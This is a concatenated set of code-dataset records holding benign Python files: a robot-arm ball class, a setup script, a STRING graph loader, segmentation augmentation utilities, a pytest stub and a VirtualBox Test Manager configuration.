environments/robot_arm/maddux/objects/ball.py
callaunchpad/MOR
becd8a181312882dae3d3495a730e268183f803f
[ "MIT" ]
1
2018-02-11T03:09:49.000Z
2018-02-11T03:09:49.000Z
environments/robot_arm/maddux/objects/ball.py
callaunchpad/MOR
becd8a181312882dae3d3495a730e268183f803f
[ "MIT" ]
2
2018-02-08T19:45:20.000Z
2018-10-02T09:55:39.000Z
environments/robot_arm/maddux/objects/ball.py
callaunchpad/MOR
becd8a181312882dae3d3495a730e268183f803f
[ "MIT" ]
2
2018-02-10T22:51:57.000Z
2020-04-14T02:46:22.000Z
""" A ball object to throw. """ import numpy as np from throwable import ThrowableObject from ..plot import plot_sphere class Ball(ThrowableObject): def __init__(self, position, radius, target=False): """Ball object that can move, have a velocity, and hit objects :param position: The position (x,y,z) of the center of the ball :type position: numpy.ndarray :param: radius: The radius of the ball :type radius: int :rtype: None """ self.radius = radius ThrowableObject.__init__(self, position, target) def plot(self, ax): """Plots the ball at its current location. :param ax: Figure to plot on. :type ax: matplotlib.axes :returns: Matplotlib figure :rtype: matplotlib.axes """ return plot_sphere(self.position, self.radius, ax)
24.942857
71
0.631157
import numpy as np from throwable import ThrowableObject from ..plot import plot_sphere class Ball(ThrowableObject): def __init__(self, position, radius, target=False): self.radius = radius ThrowableObject.__init__(self, position, target) def plot(self, ax): return plot_sphere(self.position, self.radius, ax)
true
true
f71f3605b18a86569f186808f947423814025998
1,000
py
Python
setup.py
dimakarp1996/CulinaryApp
4662da542fb22597fa185af53c39da61dcc4a560
[ "MIT" ]
null
null
null
setup.py
dimakarp1996/CulinaryApp
4662da542fb22597fa185af53c39da61dcc4a560
[ "MIT" ]
2
2017-12-11T07:39:09.000Z
2017-12-18T10:53:46.000Z
setup.py
dimakarp1996/CulinaryApp
4662da542fb22597fa185af53c39da61dcc4a560
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 """Setup script.""" from setuptools import setup setup( name="CulinaryApp", version="0.0.0", author="Dmitry Karpov, Andrej Lapushkin, Vyacheslav Trifonov", author_email="dimakarp1996@yandex.ru", url="https://github.com/dimakarp1996/CulinaryApp", license="MIT", packages=[ "CulinaryApp" ], install_requires=[ "bs4", "lxml", "requests", "pandas", "python-Levenshtein", ], setup_requires=[ "pytest-runner", "pytest-pycodestyle", "pytest-cov", ], tests_require=[ "pytest", "pycodestyle", "mock", "pandas" ], classifiers=[ "Development Status :: 1 - Planning", "License :: OSI Approved :: MIT License", "Programming Language :: Python", "Programming Language :: Python :: 3", ], entry_points={ 'console_scripts': ['CulinaryApp=CulinaryApp.CulinaryApp:main'], } )
22.222222
72
0.56
from setuptools import setup setup( name="CulinaryApp", version="0.0.0", author="Dmitry Karpov, Andrej Lapushkin, Vyacheslav Trifonov", author_email="dimakarp1996@yandex.ru", url="https://github.com/dimakarp1996/CulinaryApp", license="MIT", packages=[ "CulinaryApp" ], install_requires=[ "bs4", "lxml", "requests", "pandas", "python-Levenshtein", ], setup_requires=[ "pytest-runner", "pytest-pycodestyle", "pytest-cov", ], tests_require=[ "pytest", "pycodestyle", "mock", "pandas" ], classifiers=[ "Development Status :: 1 - Planning", "License :: OSI Approved :: MIT License", "Programming Language :: Python", "Programming Language :: Python :: 3", ], entry_points={ 'console_scripts': ['CulinaryApp=CulinaryApp.CulinaryApp:main'], } )
true
true
f71f363a2c9fff25aef36f7f45fa90b7cdbd5bda
3,472
py
Python
bindings/python/ensmallen/datasets/string/thermosiphosp1063.py
AnacletoLAB/ensmallen_graph
b2c1b18fb1e5801712852bcc239f239e03076f09
[ "MIT" ]
5
2021-02-17T00:44:45.000Z
2021-08-09T16:41:47.000Z
bindings/python/ensmallen/datasets/string/thermosiphosp1063.py
AnacletoLAB/ensmallen_graph
b2c1b18fb1e5801712852bcc239f239e03076f09
[ "MIT" ]
18
2021-01-07T16:47:39.000Z
2021-08-12T21:51:32.000Z
bindings/python/ensmallen/datasets/string/thermosiphosp1063.py
AnacletoLAB/ensmallen
b2c1b18fb1e5801712852bcc239f239e03076f09
[ "MIT" ]
3
2021-01-14T02:20:59.000Z
2021-08-04T19:09:52.000Z
""" This file offers the methods to automatically retrieve the graph Thermosipho sp. 1063. The graph is automatically retrieved from the STRING repository. References --------------------- Please cite the following if you use the data: ```bib @article{szklarczyk2019string, title={STRING v11: protein--protein association networks with increased coverage, supporting functional discovery in genome-wide experimental datasets}, author={Szklarczyk, Damian and Gable, Annika L and Lyon, David and Junge, Alexander and Wyder, Stefan and Huerta-Cepas, Jaime and Simonovic, Milan and Doncheva, Nadezhda T and Morris, John H and Bork, Peer and others}, journal={Nucleic acids research}, volume={47}, number={D1}, pages={D607--D613}, year={2019}, publisher={Oxford University Press} } ``` """ from typing import Dict from ..automatic_graph_retrieval import AutomaticallyRetrievedGraph from ...ensmallen import Graph # pylint: disable=import-error def ThermosiphoSp1063( directed: bool = False, preprocess: bool = True, load_nodes: bool = True, verbose: int = 2, cache: bool = True, cache_path: str = "graphs/string", version: str = "links.v11.5", **additional_graph_kwargs: Dict ) -> Graph: """Return new instance of the Thermosipho sp. 1063 graph. The graph is automatically retrieved from the STRING repository. Parameters ------------------- directed: bool = False Wether to load the graph as directed or undirected. By default false. preprocess: bool = True Whether to preprocess the graph to be loaded in optimal time and memory. load_nodes: bool = True, Whether to load the nodes vocabulary or treat the nodes simply as a numeric range. verbose: int = 2, Wether to show loading bars during the retrieval and building of the graph. cache: bool = True Whether to use cache, i.e. download files only once and preprocess them only once. cache_path: str = "graphs" Where to store the downloaded graphs. version: str = "links.v11.5" The version of the graph to retrieve. The available versions are: - homology.v11.5 - physical.links.v11.5 - links.v11.5 additional_graph_kwargs: Dict Additional graph kwargs. Returns ----------------------- Instace of Thermosipho sp. 1063 graph. References --------------------- Please cite the following if you use the data: ```bib @article{szklarczyk2019string, title={STRING v11: protein--protein association networks with increased coverage, supporting functional discovery in genome-wide experimental datasets}, author={Szklarczyk, Damian and Gable, Annika L and Lyon, David and Junge, Alexander and Wyder, Stefan and Huerta-Cepas, Jaime and Simonovic, Milan and Doncheva, Nadezhda T and Morris, John H and Bork, Peer and others}, journal={Nucleic acids research}, volume={47}, number={D1}, pages={D607--D613}, year={2019}, publisher={Oxford University Press} } ``` """ return AutomaticallyRetrievedGraph( graph_name="ThermosiphoSp1063", repository="string", version=version, directed=directed, preprocess=preprocess, load_nodes=load_nodes, verbose=verbose, cache=cache, cache_path=cache_path, additional_graph_kwargs=additional_graph_kwargs )()
33.066667
223
0.675979
from typing import Dict from ..automatic_graph_retrieval import AutomaticallyRetrievedGraph from ...ensmallen import Graph def ThermosiphoSp1063( directed: bool = False, preprocess: bool = True, load_nodes: bool = True, verbose: int = 2, cache: bool = True, cache_path: str = "graphs/string", version: str = "links.v11.5", **additional_graph_kwargs: Dict ) -> Graph: return AutomaticallyRetrievedGraph( graph_name="ThermosiphoSp1063", repository="string", version=version, directed=directed, preprocess=preprocess, load_nodes=load_nodes, verbose=verbose, cache=cache, cache_path=cache_path, additional_graph_kwargs=additional_graph_kwargs )()
true
true
f71f38c1c62e7b6318d6a1664ac6ee8c0936729a
8,714
py
Python
utils/transformsgpu.py
drkostas/SemiSeg-Contrastive
af6b133400368911ef77f401b7673894fe6aa05c
[ "Apache-2.0" ]
43
2021-07-26T13:13:12.000Z
2022-03-27T13:06:44.000Z
utils/transformsgpu.py
drkostas/SemiSeg-Contrastive
af6b133400368911ef77f401b7673894fe6aa05c
[ "Apache-2.0" ]
5
2021-08-08T03:06:44.000Z
2022-02-15T06:34:57.000Z
utils/transformsgpu.py
drkostas/SemiSeg-Contrastive
af6b133400368911ef77f401b7673894fe6aa05c
[ "Apache-2.0" ]
7
2021-11-07T10:16:32.000Z
2022-03-28T08:51:06.000Z
''' Code taken from https://github.com/WilhelmT/ClassMix Slightly modified ''' import kornia import torch import random import torch.nn as nn def normalize_rgb(data, dataset): """ Args: data: data to normalize BxCxWxH dataset: name of the dataset to normalize Returns: normalized data as (x-mean)/255 """ if dataset == 'pascal_voc': mean = (122.6789143, 116.66876762, 104.00698793) # rgb elif dataset == 'cityscapes': mean = (73.15835921, 82.90891754, 72.39239876) # rgb else: mean = (127.5, 127.5, 127.5 ) mean = torch.Tensor(mean).unsqueeze(0).unsqueeze(2).unsqueeze(3).cuda() data_norm = ((data-mean)/255.0) return data_norm def normalize_bgr(data, dataset): """ Args: data: data to normalize BxCxWxH dataset: name of the dataset to normalize Returns: normalized data as (x-mean)/255 """ if dataset == 'pascal_voc': mean = (104.00698793, 116.66876762, 122.6789143) # bgr elif dataset == 'cityscapes': mean = (72.39239876, 82.90891754, 73.15835921) # bgr else: mean = (127.5, 127.5, 127.5 ) mean = torch.Tensor(mean).unsqueeze(0).unsqueeze(2).unsqueeze(3).cuda() data_norm = ((data-mean)/255.0) return data_norm def grayscale(grayscale, data = None, target = None, probs = None): """ Args: grayscale: boolean whether to apply grayscale augmentation data: input data to augment BxCxWxH target: labels to augment BxWxH probs: probability masks to augment BxCxWxH Returns: data is converted from rgb to grayscale if [grayscale] is True target and probs are also returned with no modifications applied """ if not (data is None): if grayscale and data.shape[1]==3: seq = nn.Sequential(kornia.augmentation.RandomGrayscale(p=1.) ) data = seq(data) return data, target, probs def colorJitter(colorJitter, data = None, target = None, s=0.1, probs = None): """ Args: colorJitter: boolean whether to apply colorJitter augmentation data: input data to augment BxCxWxH target: labels to augment BxWxH probs: probability masks to augment BxCxWxH s: brightness and contrast strength of the color jitter Returns: colorJitter is applied to data if [colorJitter] is True target and probs are also returned with no modifications applied """ if not (data is None): if colorJitter and data.shape[1]==3: seq = nn.Sequential(kornia.augmentation.ColorJitter(brightness=s,contrast=s,saturation=s/2.,hue=s/3.)) data = seq(data/255.)*255. # assumes [0,1] return data, target, probs def gaussian_blur(blur, data = None, target = None, min_sigma=0.2, max_sigma=3, probs = None): """ Args: blur: boolean whether to apply blur data: input data to augment BxCxWxH target: labels to augment BxWxH probs: probability masks to augment BxCxWxH min_sigma: minimum sigma value for the gaussian blur max_sigma: maximum sigma value for the gaussian blur Returns: gaussian blur is applied to data if [blur] is True target and probs are also returned with no modifications applied """ if not (data is None): if blur and data.shape[1]==3: seq = nn.Sequential(kornia.filters.GaussianBlur2d(kernel_size=(23, 23), sigma=(min_sigma, max_sigma))) data = seq(data) return data, target, probs def flip(flip, data = None, target = None, probs = None): """ Args: flip: boolean whether to apply flip augmentation data: input data to augment BxCxWxH target: labels to augment BxWxH probs: probability masks to augment BxCxWxH Returns: data, target and probs are flipped if the boolean flip is True """ if flip: if not (data is None): data = torch.flip(data,(3,)) if not (target is None): target = torch.flip(target,(2,)) if not (probs is None): probs = torch.flip(probs,(2,)) return data, target, probs def solarize(solarize, data = None, target = None, probs = None): """ Args: solarize: boolean whether to apply solarize augmentation data: input data to augment BxCxWxH target: labels to augment BxWxH probs: probability masks to augment BxCxWxH Returns: data, target, probs, where data is solarized if [solarize] is True """ if not (data is None): if solarize and data.shape[1]==3: seq = nn.Sequential(kornia.augmentation.RandomSolarize((0, 1))) data = seq(data.cpu()/255.).cuda()*255. return data, target, probs def mix(mask, data = None, target = None, probs = None): """ Applies classMix augmentation: https://openaccess.thecvf.com/content/WACV2021/papers/Olsson_ClassMix_Segmentation-Based_Data_Augmentation_for_Semi-Supervised_Learning_WACV_2021_paper.pdf Args: mask: masks for applying ClassMix. A list of B elements of CxWxH tensors data: input data to augment BxCxWxH target: labels to augment BxWxH probs: probability masks to augment BxCxWxH Returns: data, target and probs augmented with classMix """ if not (data is None): if mask.shape[0] == data.shape[0]: data = torch.cat([((1 - mask[(i + 1) % data.shape[0]]) * data[i] + mask[(i + 1) % data.shape[0]] * data[(i + 1) % data.shape[0]]).unsqueeze(0) for i in range(data.shape[0])]) if not (target is None): target = torch.cat([((1 - mask[(i + 1) % data.shape[0]]) * target[i] + mask[(i + 1) % data.shape[0]] * target[(i + 1) % target.shape[0]]).unsqueeze(0) for i in range(target.shape[0])]) if not (probs is None): probs = torch.cat([((1 - mask[(i + 1) % data.shape[0]]) * probs[i] + mask[(i + 1) % data.shape[0]] * probs[(i + 1) % probs.shape[0]]).unsqueeze(0) for i in range(probs.shape[0])]) return data, target, probs def random_scale_crop(scale, data = None, target = None, ignore_label=255, probs = None): """ Args: scale: scale ratio. Float data: input data to augment BxCxWxH target: labels to augment BxWxH probs: probability masks to augment BxCxWxH ignore_label: integeer value that defines the ignore class in the datasets for the labels Returns: data, target and prob, after applied a scaling operation. output resolution is preserve as the same as the input resolution WxH """ if scale != 1: init_size_w = data.shape[2] init_size_h = data.shape[3] # scale data, labels and probs data = nn.functional.interpolate(data, scale_factor=scale, mode='bilinear', align_corners=True, recompute_scale_factor=True) if target is not None: target = nn.functional.interpolate(target.unsqueeze(1).float(), scale_factor=scale, mode='nearest', recompute_scale_factor=True).long().squeeze(1) if probs is not None: probs = nn.functional.interpolate(probs.unsqueeze(1), scale_factor=scale, mode='bilinear', align_corners=True, recompute_scale_factor=True).squeeze(1) final_size_w = data.shape[2] final_size_h = data.shape[3] diff_h = init_size_h - final_size_h diff_w = init_size_w - final_size_w if scale < 1: # add padding if needed if diff_h % 2 == 1: pad = nn.ConstantPad2d((diff_w//2, diff_w//2+1, diff_h//2+1, diff_h//2), 0) else: pad = nn.ConstantPad2d((diff_w//2, diff_w//2, diff_h//2, diff_h//2), 0) data = pad(data) if probs is not None: probs = pad(probs) # padding with ignore label to add to labels if diff_h % 2 == 1: pad = nn.ConstantPad2d((diff_w//2, diff_w//2+1, diff_h//2+1, diff_h//2), ignore_label) else: pad = nn.ConstantPad2d((diff_w//2, diff_w//2, diff_h//2, diff_h//2), ignore_label) if target is not None: target = pad(target) else: # crop if needed w = random.randint(0, data.shape[2] - init_size_w) h = random.randint(0, data.shape[3] - init_size_h) data = data [:,:,h:h+init_size_h,w:w + init_size_w] if probs is not None: probs = probs [:,h:h+init_size_h,w:w + init_size_w] if target is not None: target = target [:,h:h+init_size_h,w:w + init_size_w] return data, target, probs
34.442688
192
0.61843
import kornia import torch import random import torch.nn as nn def normalize_rgb(data, dataset): if dataset == 'pascal_voc': mean = (122.6789143, 116.66876762, 104.00698793) elif dataset == 'cityscapes': mean = (73.15835921, 82.90891754, 72.39239876) else: mean = (127.5, 127.5, 127.5 ) mean = torch.Tensor(mean).unsqueeze(0).unsqueeze(2).unsqueeze(3).cuda() data_norm = ((data-mean)/255.0) return data_norm def normalize_bgr(data, dataset): if dataset == 'pascal_voc': mean = (104.00698793, 116.66876762, 122.6789143) elif dataset == 'cityscapes': mean = (72.39239876, 82.90891754, 73.15835921) else: mean = (127.5, 127.5, 127.5 ) mean = torch.Tensor(mean).unsqueeze(0).unsqueeze(2).unsqueeze(3).cuda() data_norm = ((data-mean)/255.0) return data_norm def grayscale(grayscale, data = None, target = None, probs = None): if not (data is None): if grayscale and data.shape[1]==3: seq = nn.Sequential(kornia.augmentation.RandomGrayscale(p=1.) ) data = seq(data) return data, target, probs def colorJitter(colorJitter, data = None, target = None, s=0.1, probs = None): if not (data is None): if colorJitter and data.shape[1]==3: seq = nn.Sequential(kornia.augmentation.ColorJitter(brightness=s,contrast=s,saturation=s/2.,hue=s/3.)) data = seq(data/255.)*255. return data, target, probs def gaussian_blur(blur, data = None, target = None, min_sigma=0.2, max_sigma=3, probs = None): if not (data is None): if blur and data.shape[1]==3: seq = nn.Sequential(kornia.filters.GaussianBlur2d(kernel_size=(23, 23), sigma=(min_sigma, max_sigma))) data = seq(data) return data, target, probs def flip(flip, data = None, target = None, probs = None): if flip: if not (data is None): data = torch.flip(data,(3,)) if not (target is None): target = torch.flip(target,(2,)) if not (probs is None): probs = torch.flip(probs,(2,)) return data, target, probs def solarize(solarize, data = None, target = None, probs = None): if not (data is None): if solarize and data.shape[1]==3: seq = nn.Sequential(kornia.augmentation.RandomSolarize((0, 1))) data = seq(data.cpu()/255.).cuda()*255. return data, target, probs def mix(mask, data = None, target = None, probs = None): if not (data is None): if mask.shape[0] == data.shape[0]: data = torch.cat([((1 - mask[(i + 1) % data.shape[0]]) * data[i] + mask[(i + 1) % data.shape[0]] * data[(i + 1) % data.shape[0]]).unsqueeze(0) for i in range(data.shape[0])]) if not (target is None): target = torch.cat([((1 - mask[(i + 1) % data.shape[0]]) * target[i] + mask[(i + 1) % data.shape[0]] * target[(i + 1) % target.shape[0]]).unsqueeze(0) for i in range(target.shape[0])]) if not (probs is None): probs = torch.cat([((1 - mask[(i + 1) % data.shape[0]]) * probs[i] + mask[(i + 1) % data.shape[0]] * probs[(i + 1) % probs.shape[0]]).unsqueeze(0) for i in range(probs.shape[0])]) return data, target, probs def random_scale_crop(scale, data = None, target = None, ignore_label=255, probs = None): if scale != 1: init_size_w = data.shape[2] init_size_h = data.shape[3] data = nn.functional.interpolate(data, scale_factor=scale, mode='bilinear', align_corners=True, recompute_scale_factor=True) if target is not None: target = nn.functional.interpolate(target.unsqueeze(1).float(), scale_factor=scale, mode='nearest', recompute_scale_factor=True).long().squeeze(1) if probs is not None: probs = nn.functional.interpolate(probs.unsqueeze(1), scale_factor=scale, mode='bilinear', align_corners=True, recompute_scale_factor=True).squeeze(1) final_size_w = data.shape[2] final_size_h = data.shape[3] diff_h = init_size_h - final_size_h diff_w = init_size_w - final_size_w if scale < 1: if diff_h % 2 == 1: pad = nn.ConstantPad2d((diff_w//2, diff_w//2+1, diff_h//2+1, diff_h//2), 0) else: pad = nn.ConstantPad2d((diff_w//2, diff_w//2, diff_h//2, diff_h//2), 0) data = pad(data) if probs is not None: probs = pad(probs) if diff_h % 2 == 1: pad = nn.ConstantPad2d((diff_w//2, diff_w//2+1, diff_h//2+1, diff_h//2), ignore_label) else: pad = nn.ConstantPad2d((diff_w//2, diff_w//2, diff_h//2, diff_h//2), ignore_label) if target is not None: target = pad(target) else: w = random.randint(0, data.shape[2] - init_size_w) h = random.randint(0, data.shape[3] - init_size_h) data = data [:,:,h:h+init_size_h,w:w + init_size_w] if probs is not None: probs = probs [:,h:h+init_size_h,w:w + init_size_w] if target is not None: target = target [:,h:h+init_size_h,w:w + init_size_w] return data, target, probs
true
true
f71f38cfccdfb77ee615a237128b62e47663849d
1,069
py
Python
tests/test_miranda.py
dokimastis/miranda
2fff074d828659b5fb6fa2de0de6d872d78f0f96
[ "MIT" ]
null
null
null
tests/test_miranda.py
dokimastis/miranda
2fff074d828659b5fb6fa2de0de6d872d78f0f96
[ "MIT" ]
null
null
null
tests/test_miranda.py
dokimastis/miranda
2fff074d828659b5fb6fa2de0de6d872d78f0f96
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- """ test_miranda ---------------------------------- Tests for `miranda` module. """ import pytest from contextlib import contextmanager from click.testing import CliRunner from miranda import miranda from miranda import cli @pytest.fixture def response(): """Sample pytest fixture. See more at: http://doc.pytest.org/en/latest/fixture.html """ # import requests # return requests.get('https://github.com/audreyr/cookiecutter-pypackage') def test_content(response): """Sample pytest test function with the pytest fixture as an argument. """ # from bs4 import BeautifulSoup # assert 'GitHub' in BeautifulSoup(response.content).title.string def test_command_line_interface(): runner = CliRunner() result = runner.invoke(cli.main) assert result.exit_code == 0 assert 'miranda.cli.main' in result.output help_result = runner.invoke(cli.main, ['--help']) assert help_result.exit_code == 0 assert '--help Show this message and exit.' in help_result.output
25.452381
78
0.687558
import pytest from contextlib import contextmanager from click.testing import CliRunner from miranda import miranda from miranda import cli @pytest.fixture def response(): def test_content(response): def test_command_line_interface(): runner = CliRunner() result = runner.invoke(cli.main) assert result.exit_code == 0 assert 'miranda.cli.main' in result.output help_result = runner.invoke(cli.main, ['--help']) assert help_result.exit_code == 0 assert '--help Show this message and exit.' in help_result.output
true
true
f71f38f6115e04f53d84447035a3e9a73bd6c376
6,437
py
Python
vbox/src/VBox/ValidationKit/testmanager/config.py
Nurzamal/rest_api_docker
a9cc01dfc235467d490d9663755b33ef6990bdd8
[ "MIT" ]
null
null
null
vbox/src/VBox/ValidationKit/testmanager/config.py
Nurzamal/rest_api_docker
a9cc01dfc235467d490d9663755b33ef6990bdd8
[ "MIT" ]
null
null
null
vbox/src/VBox/ValidationKit/testmanager/config.py
Nurzamal/rest_api_docker
a9cc01dfc235467d490d9663755b33ef6990bdd8
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # $Id: config.py 69111 2017-10-17 14:26:02Z vboxsync $ """ Test Manager Configuration. """ __copyright__ = \ """ Copyright (C) 2012-2017 Oracle Corporation This file is part of VirtualBox Open Source Edition (OSE), as available from http://www.virtualbox.org. This file is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License (GPL) as published by the Free Software Foundation, in version 2 as it comes in the "COPYING" file of the VirtualBox OSE distribution. VirtualBox OSE is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY of any kind. The contents of this file may alternatively be used under the terms of the Common Development and Distribution License Version 1.0 (CDDL) only, as it comes in the "COPYING.CDDL" file of the VirtualBox OSE distribution, in which case the provisions of the CDDL are applicable instead of those of the GPL. You may elect to license modified versions of this file under the terms and conditions of either the GPL or the CDDL or both. """ __version__ = "$Revision: 69111 $" import os; ## Test Manager version string. g_ksVersion = 'v0.1.0'; ## Test Manager revision string. g_ksRevision = ('$Revision: 69111 $')[11:-2]; ## Enable VBox specific stuff. g_kfVBoxSpecific = True; ## @name Used by the TMDatabaseConnection class. # @{ g_ksDatabaseName = 'testmanager'; g_ksDatabaseAddress = None; g_ksDatabasePort = None; g_ksDatabaseUser = 'postgres'; g_ksDatabasePassword = ''; ## @} ## @name User handling. ## @{ ## Whether login names are case insensitive (True) or case sensitive (False). ## @note Implemented by inserting lower case names into DB and lower case ## bind variables in WHERE clauses. g_kfLoginNameCaseInsensitive = True; ## @} ## @name File locations ## @{ ## The TestManager directory. g_ksTestManagerDir = os.path.dirname(os.path.abspath(__file__)); ## The Validation Kit directory. g_ksValidationKitDir = os.path.dirname(g_ksTestManagerDir); ## The TestManager htdoc directory. g_ksTmHtDocDir = os.path.join(g_ksTestManagerDir, 'htdocs'); ## The TestManager download directory (under htdoc somewhere), for validationkit zips. g_ksTmDownloadDir = os.path.join(g_ksTmHtDocDir, 'download'); ## The base URL relative path of the TM download directory (g_ksTmDownloadDir). g_ksTmDownloadBaseUrlRel = 'htdocs/downloads'; ## The root of the file area (referred to as TM_FILE_DIR in database docs). g_ksFileAreaRootDir = '/var/tmp/testmanager' ## The root of the file area with the zip files (best put on a big storage server). g_ksZipFileAreaRootDir = '/var/tmp/testmanager2' ## URL prefix for trac log viewer. g_ksTracLogUrlPrefix = 'https://linserv.de.oracle.com/vbox/log/' ## URL prefix for trac log viewer. g_ksTracChangsetUrlFmt = 'https://linserv.de.oracle.com/%(sRepository)s/changeset/%(iRevision)s' ## URL prefix for unprefixed build logs. g_ksBuildLogUrlPrefix = '' ## URL prefix for unprefixed build binaries. g_ksBuildBinUrlPrefix = '/builds/' ## The local path prefix for unprefixed build binaries. (Host file system, not web server.) g_ksBuildBinRootDir = '/mnt/builds/' ## File on the build binary share that can be used to check that it's mounted. g_ksBuildBinRootFile = 'builds.txt' ## @} ## @name Scheduling parameters ## @{ ## The time to wait for a gang to gather (in seconds). g_kcSecGangGathering = 600; ## The max time allowed to spend looking for a new task (in seconds). g_kcSecMaxNewTask = 60; ## Minimum time since last task started. g_kcSecMinSinceLastTask = 120; # (2 min) ## Minimum time since last failed task. g_kcSecMinSinceLastFailedTask = 180; # (3 min) ## @} ## @name Test result limits. ## In general, we will fail the test when reached and stop accepting further results. ## @{ ## The max number of test results per test set. g_kcMaxTestResultsPerTS = 4096; ## The max number of test results (children) per test result. g_kcMaxTestResultsPerTR = 512; ## The max number of test result values per test set. g_kcMaxTestValuesPerTS = 4096; ## The max number of test result values per test result. g_kcMaxTestValuesPerTR = 256; ## The max number of test result message per test result. g_kcMaxTestMsgsPerTR = 4; ## The max test result nesting depth. g_kcMaxTestResultDepth = 10; ## The max length of a test result name. g_kcchMaxTestResultName = 64; ## The max length of a test result value name. g_kcchMaxTestValueName = 56; ## The max length of a test result message. g_kcchMaxTestMsg = 128; ## The max size of the main log file. g_kcMbMaxMainLog = 32; ## The max size of an uploaded file (individual). g_kcMbMaxUploadSingle = 150; ## The max size of all uploaded file. g_kcMbMaxUploadTotal = 200; ## The max number of files that can be uploaded. g_kcMaxUploads = 256; ## @} ## @name Debug Features ## @{ ## Enables extra DB exception information. g_kfDebugDbXcpt = True; ## Where to write the glue debug. # None indicates apache error log, string indicates a file. #g_ksSrcGlueDebugLogDst = '/tmp/testmanager-srv-glue.log'; g_ksSrcGlueDebugLogDst = None; ## Whether to enable CGI trace back in the server glue. g_kfSrvGlueCgiTb = False; ## Enables glue debug output. g_kfSrvGlueDebug = False; ## Timestamp and pid prefix the glue debug output. g_kfSrvGlueDebugTS = True; ## Enables task scheduler debug output to g_ksSrcGlueDebugLogDst. g_kfSrvGlueDebugScheduler = False; ## Enables the SQL trace back. g_kfWebUiSqlTrace = False; ## Enables the explain in the SQL trace back. g_kfWebUiSqlTraceExplain = False; ## Whether the postgresql version supports the TIMING option on EXPLAIN (>= 9.2). g_kfWebUiSqlTraceExplainTiming = False; ## Display time spent processing the page. g_kfWebUiProcessedIn = True; ## Enables WebUI debug output. g_kfWebUiDebug = False; ## Enables WebUI SQL debug output print() calls (requires g_kfWebUiDebug). g_kfWebUiSqlDebug = False; ## Enables the debug panel at the bottom of the page. g_kfWebUiDebugPanel = True; ## Profile cgi/admin.py. g_kfProfileAdmin = False; ## Profile cgi/index.py. g_kfProfileIndex = False; ## When not None, g_ksTestBoxDispXpctLog = '/tmp/testmanager-testboxdisp-xcpt.log' ## @}
34.239362
97
0.722697
__copyright__ = \ """ Copyright (C) 2012-2017 Oracle Corporation This file is part of VirtualBox Open Source Edition (OSE), as available from http://www.virtualbox.org. This file is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License (GPL) as published by the Free Software Foundation, in version 2 as it comes in the "COPYING" file of the VirtualBox OSE distribution. VirtualBox OSE is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY of any kind. The contents of this file may alternatively be used under the terms of the Common Development and Distribution License Version 1.0 (CDDL) only, as it comes in the "COPYING.CDDL" file of the VirtualBox OSE distribution, in which case the provisions of the CDDL are applicable instead of those of the GPL. You may elect to license modified versions of this file under the terms and conditions of either the GPL or the CDDL or both. """ __version__ = "$Revision: 69111 $" import os; .1.0'; evision: 69111 $')[11:-2]; ue; DatabaseAddress = None; g_ksDatabasePort = None; g_ksDatabaseUser = 'postgres'; g_ksDatabasePassword = ''; pend looking for a new task (in seconds). g_kcSecMaxNewTask = 60; ## Minimum time since last task started. g_kcSecMinSinceLastTask = 120; # (2 min) ## Minimum time since last failed task. g_kcSecMinSinceLastFailedTask = 180; # (3 min) ## @} ## @name Test result limits. ## In general, we will fail the test when reached and stop accepting further results. ## @{ ## The max number of test results per test set. g_kcMaxTestResultsPerTS = 4096; ## The max number of test results (children) per test result. g_kcMaxTestResultsPerTR = 512; ## The max number of test result values per test set. g_kcMaxTestValuesPerTS = 4096; ## The max number of test result values per test result. g_kcMaxTestValuesPerTR = 256; ## The max number of test result message per test result. g_kcMaxTestMsgsPerTR = 4; ## The max test result nesting depth. g_kcMaxTestResultDepth = 10; ## The max length of a test result name. g_kcchMaxTestResultName = 64; ## The max length of a test result value name. g_kcchMaxTestValueName = 56; ## The max length of a test result message. g_kcchMaxTestMsg = 128; ## The max size of the main log file. g_kcMbMaxMainLog = 32; ## The max size of an uploaded file (individual). g_kcMbMaxUploadSingle = 150; ## The max size of all uploaded file. g_kcMbMaxUploadTotal = 200; ## The max number of files that can be uploaded. g_kcMaxUploads = 256; ## @} ## @name Debug Features ## @{ ## Enables extra DB exception information. g_kfDebugDbXcpt = True; ## Where to write the glue debug. # None indicates apache error log, string indicates a file. #g_ksSrcGlueDebugLogDst = '/tmp/testmanager-srv-glue.log'; g_ksSrcGlueDebugLogDst = None; ## Whether to enable CGI trace back in the server glue. g_kfSrvGlueCgiTb = False; ## Enables glue debug output. g_kfSrvGlueDebug = False; ## Timestamp and pid prefix the glue debug output. g_kfSrvGlueDebugTS = True; ## Enables task scheduler debug output to g_ksSrcGlueDebugLogDst. g_kfSrvGlueDebugScheduler = False; ## Enables the SQL trace back. g_kfWebUiSqlTrace = False; ## Enables the explain in the SQL trace back. g_kfWebUiSqlTraceExplain = False; ## Whether the postgresql version supports the TIMING option on EXPLAIN (>= 9.2). g_kfWebUiSqlTraceExplainTiming = False; ## Display time spent processing the page. g_kfWebUiProcessedIn = True; ## Enables WebUI debug output. g_kfWebUiDebug = False; ## Enables WebUI SQL debug output print() calls (requires g_kfWebUiDebug). g_kfWebUiSqlDebug = False; ## Enables the debug panel at the bottom of the page. g_kfWebUiDebugPanel = True; ## Profile cgi/admin.py. g_kfProfileAdmin = False; ## Profile cgi/index.py. g_kfProfileIndex = False; ## When not None, g_ksTestBoxDispXpctLog = '/tmp/testmanager-testboxdisp-xcpt.log' ## @}
true
true
f71f391105b1c350cf8efd3610d161a083bb9149
4,283
py
Python
Public/assets/Python/data_fetch.py
VictoriaGuXY/MCO-Menu-Checker-Online
706e2e1bf7395cc344f382ea2ac53d964d459f86
[ "MIT" ]
null
null
null
Public/assets/Python/data_fetch.py
VictoriaGuXY/MCO-Menu-Checker-Online
706e2e1bf7395cc344f382ea2ac53d964d459f86
[ "MIT" ]
null
null
null
Public/assets/Python/data_fetch.py
VictoriaGuXY/MCO-Menu-Checker-Online
706e2e1bf7395cc344f382ea2ac53d964d459f86
[ "MIT" ]
null
null
null
